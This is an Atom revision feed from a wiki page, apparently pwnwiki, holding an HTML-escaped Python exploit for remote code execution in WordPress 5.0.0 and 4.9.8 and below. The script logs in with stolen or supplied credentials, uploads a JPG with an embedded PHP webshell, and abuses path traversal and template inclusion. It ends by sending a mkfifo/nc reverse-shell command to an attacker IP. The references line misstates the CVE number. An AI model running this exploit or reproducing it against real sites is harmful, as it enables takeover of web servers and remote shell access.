<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2019-8943_WordPress_5.0.0_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2019-8943 WordPress 5.0.0 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2019-8943_WordPress_5.0.0_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2019-8943_WordPress_5.0.0_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T08:29:56Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2019-8943_WordPress_5.0.0_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3757&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== WordPress versions 5.0.0 and 4.9.8 and below remote code execution exploit that leverages path traversal and file inclusion vulnerabilities.  ==EXP== &lt;pre&gt; # Exploit...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2019-8943_WordPress_5.0.0_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3757&amp;oldid=prev"/>
		<updated>2021-05-31T03:56:18Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== WordPress versions 5.0.0 and 4.9.8 and below remote code execution exploit that leverages path traversal and file inclusion vulnerabilities.  ==EXP== &amp;lt;pre&amp;gt; # Exploit...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
WordPress versions 5.0.0 and 4.9.8 and below remote code execution exploit that leverages path traversal and file inclusion vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: WordPress 5.0.0 - Image Remote Code Execution&lt;br /&gt;
# Date: 2020-02-01&lt;br /&gt;
# Exploit Authors: OUSSAMA RAHALI ( aka V0lck3r)&lt;br /&gt;
# Discovery Author : RIPSTECH Technology&lt;br /&gt;
# Version: WordPress 5.0.0 and &amp;lt;= 4.9.8 .&lt;br /&gt;
# References : CVE-2019-89242 | CVE-2019-89242  | https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/&lt;br /&gt;
&lt;br /&gt;
#/usr/bin/env python3&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import re&lt;br /&gt;
import sys&lt;br /&gt;
from datetime import datetime&lt;br /&gt;
&lt;br /&gt;
banner = &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
__        __            _                           ____   ____ _____ &lt;br /&gt;
\ \      / /__  _ __ __| |_ __  _ __ ___  ___ ___  |  _ \ / ___| ____|&lt;br /&gt;
 \ \ /\ / / _ \| '__/ _` | '_ \| '__/ _ \/ __/ __| | |_) | |   |  _|  &lt;br /&gt;
  \ V  V / (_) | | | (_| | |_) | | |  __/\__ \__ \ |  _ &amp;lt;| |___| |___ &lt;br /&gt;
   \_/\_/ \___/|_|  \__,_| .__/|_|  \___||___/___/ |_| \_\\____|_____|&lt;br /&gt;
                         |_|                                        &lt;br /&gt;
                               5.0.0 and &amp;lt;= 4.9.8&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
print(banner)&lt;br /&gt;
print(&amp;quot;usage :&amp;quot;)&lt;br /&gt;
print(&amp;quot;=======&amp;quot;)&lt;br /&gt;
usage = 'python3 RCE_wordpress.py http://&amp;lt;IP&amp;gt;:&amp;lt;PORT&amp;gt;/ &amp;lt;Username&amp;gt; &amp;lt;Password&amp;gt; &amp;lt;WordPress_theme&amp;gt;'&lt;br /&gt;
print(usage)&lt;br /&gt;
&lt;br /&gt;
url = sys.argv[1]&lt;br /&gt;
username = sys.argv[2]&lt;br /&gt;
password = sys.argv[3]&lt;br /&gt;
wp_theme = sys.argv[4] # wpscan results&lt;br /&gt;
&lt;br /&gt;
lhost = '10.10.10.10' #attacker ip&lt;br /&gt;
lport = '4141' #listening port&lt;br /&gt;
&lt;br /&gt;
date = str(datetime.now().strftime('%Y'))+'/'+str(datetime.now().strftime('%m'))+'/'&lt;br /&gt;
&lt;br /&gt;
imagename = 'gd.jpg'&lt;br /&gt;
# ======&lt;br /&gt;
# Note :&lt;br /&gt;
# ======&lt;br /&gt;
# It could be any jpg image, BUT there are some modifications first : &lt;br /&gt;
# 1- image name as : &amp;quot;gd.jpg&amp;quot;&lt;br /&gt;
# 2- place the image in the same directory as this exploit.&lt;br /&gt;
# 3- inject the php payload via exiftool : exiftool gd.jpg -CopyrightNotice=&amp;quot;&amp;lt;?=\`\$_GET[0]\`?&amp;gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
data = {&lt;br /&gt;
  'log':username,&lt;br /&gt;
  'pwd':password,&lt;br /&gt;
  'wp-submit':'Log In',&lt;br /&gt;
  'redirect_to':url+'wp-admin/',&lt;br /&gt;
  'testcookie':1&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
r = requests.post(url+'wp-login.php',data=data)&lt;br /&gt;
&lt;br /&gt;
if r.status_code == 200:&lt;br /&gt;
  print(&amp;quot;[+] Login successful.\n&amp;quot;)&lt;br /&gt;
else:&lt;br /&gt;
  print(&amp;quot;[-] Failed to login.&amp;quot;)&lt;br /&gt;
  exit(0)&lt;br /&gt;
&lt;br /&gt;
cookies = r.cookies&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Getting Wp Nonce ... &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
res = requests.get(url+'wp-admin/media-new.php',cookies=cookies)&lt;br /&gt;
wp_nonce_list = re.findall(r'name=&amp;quot;_wpnonce&amp;quot; value=&amp;quot;(\w+)&amp;quot;',res.text)&lt;br /&gt;
&lt;br /&gt;
if len(wp_nonce_list) == 0 :&lt;br /&gt;
  print(&amp;quot;[-] Failed to retrieve the _wpnonce \n&amp;quot;)&lt;br /&gt;
  exit(0)&lt;br /&gt;
else :&lt;br /&gt;
  wp_nonce = wp_nonce_list[0]&lt;br /&gt;
  print(&amp;quot;[+] Wp Nonce retrieved successfully ! _wpnonce : &amp;quot; + wp_nonce+&amp;quot;\n&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Uploading the image ... &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
data = {&lt;br /&gt;
  'name': 'gd.jpg',&lt;br /&gt;
  'action': 'upload-attachment',&lt;br /&gt;
  '_wpnonce': wp_nonce&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
image = {'async-upload': (imagename, open(imagename, 'rb'))}&lt;br /&gt;
r_upload = requests.post(url+'wp-admin/async-upload.php', data=data, files=image, cookies=cookies)&lt;br /&gt;
if r_upload.status_code == 200:&lt;br /&gt;
  image_id = re.findall(r'{&amp;quot;id&amp;quot;:(\d+),',r_upload.text)[0]&lt;br /&gt;
  _wp_nonce=re.findall(r'&amp;quot;update&amp;quot;:&amp;quot;(\w+)&amp;quot;',r_upload.text)[0]&lt;br /&gt;
  print('[+] Image uploaded successfully ! Image ID :'+ image_id+&amp;quot;\n&amp;quot;)&lt;br /&gt;
else : &lt;br /&gt;
  print(&amp;quot;[-] Failed to receive a response for uploaded image ! try again . \n&amp;quot;)&lt;br /&gt;
  exit(0)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Changing the path ... &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
data = {&lt;br /&gt;
  '_wpnonce':_wp_nonce,&lt;br /&gt;
  'action':'editpost',&lt;br /&gt;
  'post_ID':image_id,&lt;br /&gt;
  'meta_input[_wp_attached_file]':date+imagename+'?/../../../../themes/'+wp_theme+'/rahali'&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies)&lt;br /&gt;
if res.status_code == 200:&lt;br /&gt;
  print(&amp;quot;[+] Path has been changed successfully. \n&amp;quot;)&lt;br /&gt;
else :&lt;br /&gt;
  print(&amp;quot;[-] Failed to change the path ! Make sure the theme is correcte .\n&amp;quot;)&lt;br /&gt;
  exit(0)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Getting Ajax nonce ... &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
data = {&lt;br /&gt;
  'action':'query-attachments',&lt;br /&gt;
  'post_id':0,&lt;br /&gt;
  'query[item]':43,&lt;br /&gt;
  'query[orderby]':'date',&lt;br /&gt;
  'query[order]':'DESC',&lt;br /&gt;
  'query[posts_per_page]':40,&lt;br /&gt;
  'query[paged]':1&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies)&lt;br /&gt;
ajax_nonce_list=re.findall(r',&amp;quot;edit&amp;quot;:&amp;quot;(\w+)&amp;quot;',res.text)&lt;br /&gt;
&lt;br /&gt;
if res.status_code == 200 and len(ajax_nonce_list) != 0 :&lt;br /&gt;
  ajax_nonce = ajax_nonce_list[0]&lt;br /&gt;
  print('[+] Ajax Nonce retrieved successfully ! ajax_nonce : '+ ajax_nonce+'\n')&lt;br /&gt;
else :&lt;br /&gt;
  print(&amp;quot;[-] Failed to retrieve ajax_nonce.\n&amp;quot;)&lt;br /&gt;
  exit(0)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Cropping the uploaded image ... &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
data = {&lt;br /&gt;
  'action':'crop-image',&lt;br /&gt;
  '_ajax_nonce':ajax_nonce,&lt;br /&gt;
  'id':image_id,&lt;br /&gt;
  'cropDetails[x1]':0,&lt;br /&gt;
  'cropDetails[y1]':0,&lt;br /&gt;
  'cropDetails[width]':200,&lt;br /&gt;
  'cropDetails[height]':100,&lt;br /&gt;
  'cropDetails[dst_width]':200,&lt;br /&gt;
  'cropDetails[dst_height]':100&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies)&lt;br /&gt;
if res.status_code == 200:&lt;br /&gt;
  print(&amp;quot;[+] Done . \n&amp;quot;)&lt;br /&gt;
else :&lt;br /&gt;
  print(&amp;quot;[-] Erorr ! Try again \n&amp;quot;)&lt;br /&gt;
  exit(0)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Creating a new post to include the image... &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
res = requests.post(url+'wp-admin/post-new.php', cookies=cookies)&lt;br /&gt;
if res.status_code == 200:&lt;br /&gt;
  _wpnonce = re.findall(r'name=&amp;quot;_wpnonce&amp;quot; value=&amp;quot;(\w+)&amp;quot;',res.text)[0]&lt;br /&gt;
  post_id = re.findall(r'&amp;quot;post&amp;quot;:{&amp;quot;id&amp;quot;:(\w+),',res.text)[0]&lt;br /&gt;
  print(&amp;quot;[+] Post created successfully . \n&amp;quot;)&lt;br /&gt;
else :&lt;br /&gt;
  print(&amp;quot;[-] Erorr ! Try again \n&amp;quot;)&lt;br /&gt;
  exit(0)&lt;br /&gt;
&lt;br /&gt;
data={&lt;br /&gt;
  '_wpnonce':_wpnonce,&lt;br /&gt;
  'action':'editpost',&lt;br /&gt;
  'post_ID':post_id,&lt;br /&gt;
  'post_title':'RCE poc by v0lck3r',&lt;br /&gt;
  'post_name':'RCE poc by v0lck3r',&lt;br /&gt;
  'meta_input[_wp_page_template]':'cropped-rahali.jpg'&lt;br /&gt;
}&lt;br /&gt;
res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies)&lt;br /&gt;
if res.status_code == 200:&lt;br /&gt;
  print(&amp;quot;[+] POC is ready at : &amp;quot;+url+'?p='+post_id+'&amp;amp;0=id\n')&lt;br /&gt;
  print(&amp;quot;[+] Executing payload !&amp;quot;)&lt;br /&gt;
  requests.get(f&amp;quot;{url}?p={post_id}&amp;amp;0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20{lhost}%20{lport}%20%3E%2Ftmp%2Ff&amp;quot;,cookies=cookies)&lt;br /&gt;
&lt;br /&gt;
else :&lt;br /&gt;
  print(&amp;quot;[-] Erorr ! Try again (maybe change the payload) \n&amp;quot;)&lt;br /&gt;
  exit(0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>